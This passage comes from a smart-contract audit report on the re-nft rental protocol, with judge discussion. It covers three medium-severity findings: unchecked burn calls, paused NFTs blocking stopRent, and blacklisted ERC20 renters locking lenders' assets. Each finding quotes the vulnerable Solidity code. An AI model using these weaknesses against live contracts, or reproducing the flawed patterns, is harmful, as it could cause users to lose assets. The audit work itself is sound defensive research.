shared_set_approval_for_all_selector ); } // Revert if the `safeBatchTransferFrom` selector is specified. There's no // cheap way to check if individual items in the batch are rented out. // Each token ID would require a call to the storage contract to check // its rental status. if (selector == e1155_safe_batch_transfer_from_selector) { revert Errors.GuardPolicy_UnauthorizedSelector( e1155_safe_batch_transfer_from_selector ); } // Revert if the `setGuard` selector is specified. if (selector == gnosis_safe_set_guard_selector) { revert Errors.GuardPolicy_UnauthorizedSelector( gnosis_safe_set_guard_selector ); } } }
well-known games such as The Sandbox, allow users to burn tokens that they own :
https://etherscan.io/address/0xa342f5d851e866e18ff98f351f2c6637f4478db5
/// @notice Burns `amount` tokens of type `id`. /// @param id token type which will be burnt. /// @param amount amount of token to burn. function burn(uint256 id, uint256 amount) external { _burn(msg.sender, id, amount); } /// @notice Burns `amount` tokens of type `id` from `from`. /// @param from address whose token is to be burnt. /// @param id token type which will be burnt. /// @param amount amount of token to burn. function burnFrom(address from, uint256 id, uint256 amount) external { require(from != address(0), "from is zero address"); require( msg.sender == from || _metaTransactionContracts[msg.sender] || _superOperators[msg.sender] || _operatorsForAll[from][msg.sender], "require meta approval" ); _burn(from, id, amount); }
Besides that, burnable token is quite common for ERC721/ERC1155 tokens, not preventing the action could result in loss of lender's assets.
Manual review.
Add additional check to prevent call of burn/burnFrom inside the Guard
module.
ERC721
#0 - c4-pre-sort
2024-01-21T17:39:30Z
141345 marked the issue as duplicate of #323
#1 - c4-judge
2024-01-28T20:06:36Z
0xean marked the issue as satisfactory
#2 - c4-judge
2024-01-28T20:48:45Z
0xean changed the severity to 2 (Med Risk)
🌟 Selected for report: said
Also found by: SBSecurity
1013.6566 USDC - $1,013.66
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L71-L101 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L32-L34 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L42-L50
Many ERC721/ERC1155 tokens, including well-known games such as Axie Infinity, have a pause functionality inside the contract. This pause functionality will cause the stopRent
call to always revert and could cause issues, especially for the PAY
order type.
When stopRent
/stopRentBatch
is called, it will eventually trigger _reclaimRentedItems
and execute reclaimRentalOrder
from the safe to send back tokens to lender.
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L353 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L293 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L166-L183
function _reclaimRentedItems(RentalOrder memory order) internal { // Transfer ERC721s from the renter back to lender. bool success = ISafe(order.rentalWallet).execTransactionFromModule( // Stop policy inherits the reclaimer package. address(this), // value. 0, // The encoded call to the `reclaimRentalOrder` function. abi.encodeWithSelector(this.reclaimRentalOrder.selector, order), // Safe must delegate call to the stop policy so that it is the msg.sender. Enum.Operation.DelegateCall ); // Assert that the transfer back to the lender was successful. if (!success) { revert Errors.StopPolicy_ReclaimFailed(); } }
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L71-L101 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L32-L34 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Reclaimer.sol#L42-L50
function reclaimRentalOrder(RentalOrder calldata rentalOrder) external { // This contract address must be in the context of another address. if (address(this) == original) { revert Errors.ReclaimerPackage_OnlyDelegateCallAllowed(); } // Only the rental wallet specified in the order can be the address that // initates the reclaim. In the context of a delegate call, address(this) // will be the safe. if (address(this) != rentalOrder.rentalWallet) { revert Errors.ReclaimerPackage_OnlyRentalSafeAllowed( rentalOrder.rentalWallet ); } // Get a count for the number of items. uint256 itemCount = rentalOrder.items.length; // Transfer each item if it is a rented asset. for (uint256 i = 0; i < itemCount; ++i) { Item memory item = rentalOrder.items[i]; // Check if the item is an ERC721. if (item.itemType == ItemType.ERC721) >>> _transferERC721(item, rentalOrder.lender); // check if the item is an ERC1155. if (item.itemType == ItemType.ERC1155) >>> _transferERC1155(item, rentalOrder.lender); } }
It can be observed that AxieInfinity has paused functionality : https://etherscan.io/address/0xf5b0a3efb8e8e4c201e2a935f110eaaf3ffecb8d
This is problematic, especially for the PAY
order type. Consider a scenario where the lender is not satisfied with how the renter utilizes their PAY
order's NFTs. Now, when the lender wants to early stop the rent and calls stopRent
, the call will revert, and the earning calculation for the renter will still be growing.
Manual review
Consider decoupling the NFT claim from stopRent and introducing a timestamp tracker when the lender calls stopRent. Utilize that timestamp value when the rent stop is finalized and calculate the ERC20 reward for the renter.
ERC721
#0 - c4-pre-sort
2024-01-21T19:21:56Z
141345 marked the issue as sufficient quality report
#1 - 141345
2024-01-21T19:22:18Z
#2 - c4-pre-sort
2024-01-23T14:33:10Z
141345 marked the issue as primary issue
#3 - c4-sponsor
2024-01-24T18:46:13Z
Alec1017 (sponsor) acknowledged
#4 - Alec1017
2024-01-24T18:46:18Z
Non-standard ERC implementations were considered out of scope, but regardless we do plan on adding a whitelist for tokens interacting with the protocol
#5 - 0xean
2024-01-27T19:42:09Z
Not sure this should be left as M, but will leave for now and consider more during PJQA.
Marking as QA is probably more appropriate as the mitigation can potentially lead to as many problems as it solves.
#6 - c4-judge
2024-01-28T22:34:52Z
0xean marked the issue as satisfactory
#7 - c4-judge
2024-01-29T10:28:49Z
0xean marked the issue as selected for report
#8 - stalinMacias
2024-01-30T00:14:21Z
Marking as QA is probably more appropriate as the mitigation can potentially lead to as many problems as it solves.
@0xean I agree and I believe this one should be a QA at max since the burnable ERC721/1155 bug (much more impactful) is judged as med severity, and here is why:
#9 - said017
2024-01-30T01:42:40Z
The idea is that a paused token can cause earnings to keep growing. That is why the transfer of NFTs and stopRent
should be decoupled. This is a best practice of pull-over-push.
It has nothing to do with burn functionality and cannot be compared.
I provide AxieInfinity as an example, a widely known NFT game in crypto. It is similar to a blacklistable feature for ERC20 tokens. Not all tokens have such functionality, but if it is widely used, it will become something that needs to be always considered. For instance for blacklistable, USDC implements the functionallity, so it is significantly important to consider such tokens.
As I provided and mentioned, decoupling the NFT claim and stopRent
is a way to do this.
#10 - jorgect207
2024-01-30T02:34:00Z
Adding to @stalinMacias This issue is bassicly due a Non-standard ERC implementations of the ERC721/1155, wich is the same problem of the #323, This finding should be duplicate of #323
#11 - said017
2024-01-30T02:52:29Z
I actually have a different issue that is also a duplicate of #323 (#212). This is distinct, it is not something that should or could be managed by the safe _checkTransaction
, it should be managed via pull-over-push design. It is an ERC721/1155 extension behavior that could lead to a different issue.
By the way, I do not necessarily agree with the term "Non-standard ERC". Just because ERC721/ERC1155 has extension functionality doesn't mean it is not ERC721/ERC1155. In fact, OpenZeppelin (OZ) also provides some ERC721/ERC1155 extension functionality, which is considered aligned with the ERC721/ERC1155 standard :
https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC721/extensions https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/extensions
#12 - 0xean
2024-02-01T13:45:05Z
Going to leave as judged. In theory the protocol could mitigate this with a pull mechanism which could be executed after the unpause and allow the counterparty to be unaffected. Currently this amounts to a temporary DOS and therefore seems like M is correct. I think its an edge case, but its plausible as the warden has shown.
🌟 Selected for report: stackachu
Also found by: 0xHelium, 0xabhay, 0xc695, 0xpiken, DeFiHackLabs, EV_om, HSP, J4X, Krace, KupiaSec, Qkite, ZanyBonzy, albertwh1te, cccz, evmboi32, hals, hash, holydevoti0n, krikolkk, ladboy233, lanrebayode77, marqymarq10, oakcobalt, peanuts, peter, rbserver, said, serial-coder, sin1st3r__
2.7205 USDC - $2.72
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L296 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L255-L278 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/modules/PaymentEscrow.sol#L174-L178
Renter can lock lender's assets in the safe if an ERC20 with a blacklist is used, and the renter's address is blacklisted.
When stopRent
or stopRentBatch
is called, it will eventually trigger ESCRW.settlePayment
or ESCRW.settlePaymentBatch
, that will distribute assets (ERC20) accordingly based on the order type and timing condition.
function stopRent(RentalOrder calldata order) external { // Check that the rental can be stopped. _validateRentalCanBeStoped(order.orderType, order.endTimestamp, order.lender); // Create an accumulator which will hold all of the rental asset updates, consisting of IDs and // the rented amount. From this point on, new memory cannot be safely allocated until the // accumulator no longer needs to include elements. bytes memory rentalAssetUpdates = new bytes(0); // Check if each item in the order is a rental. If so, then generate the rental asset update. // Memory will become safe again after this block. for (uint256 i; i < order.items.length; ++i) { if (order.items[i].isRental()) { // Insert the rental asset update into the dynamic array. _insert( rentalAssetUpdates, order.items[i].toRentalId(order.rentalWallet), order.items[i].amount ); } } // Interaction: process hooks so they no longer exist for the renter. if (order.hooks.length > 0) { _removeHooks(order.hooks, order.items, order.rentalWallet); } // Interaction: Transfer rentals from the renter back to lender. _reclaimRentedItems(order); // Interaction: Transfer ERC20 payments from the escrow contract to the respective recipients. >>> ESCRW.settlePayment(order); // Interaction: Remove rentals from storage by computing the order hash. STORE.removeRentals( _deriveRentalOrderHash(order), _convertToStatic(rentalAssetUpdates) ); // Emit rental order stopped. _emitRentalOrderStopped(order.seaportOrderHash, msg.sender); }
function settlePayment(RentalOrder calldata order) external onlyByProxy permissioned { // Settle all payments for the order. _settlePayment( order.items, order.orderType, order.lender, order.renter, order.startTimestamp, order.endTimestamp ); }
The problem is that the settle payment currently transfers assets to the renter. If a token with a blacklist, such as USDC
, is used and the renter's address is blacklisted, stopRent
will always revert, and the lender's assets will be locked inside the renter's safe. This case is especially concerning if the order is of the PAY
type.
function _settlePaymentProRata( address token, uint256 amount, address lender, address renter, uint256 elapsedTime, uint256 totalTime ) internal { // Calculate the pro-rata payment for renter and lender. (uint256 renterAmount, uint256 lenderAmount) = _calculatePaymentProRata( amount, elapsedTime, totalTime ); // Send the lender portion of the payment. _safeTransfer(token, lender, lenderAmount); // Send the renter portion of the payment. _safeTransfer(token, renter, renterAmount); }
function _settlePaymentInFull( address token, uint256 amount, SettleTo settleTo, address lender, address renter ) internal { // Determine the address that this payment will settle to. address settleToAddress = settleTo == SettleTo.LENDER ? lender : renter; // Send the payment. _safeTransfer(token, settleToAddress, amount); }
Manual review.
use the "Pull over Push" design for sending token to lender/renter.
ERC20
#0 - c4-pre-sort
2024-01-21T17:36:27Z
141345 marked the issue as duplicate of #64
#1 - c4-judge
2024-01-28T20:49:24Z
0xean changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-01-28T21:01:30Z
0xean marked the issue as satisfactory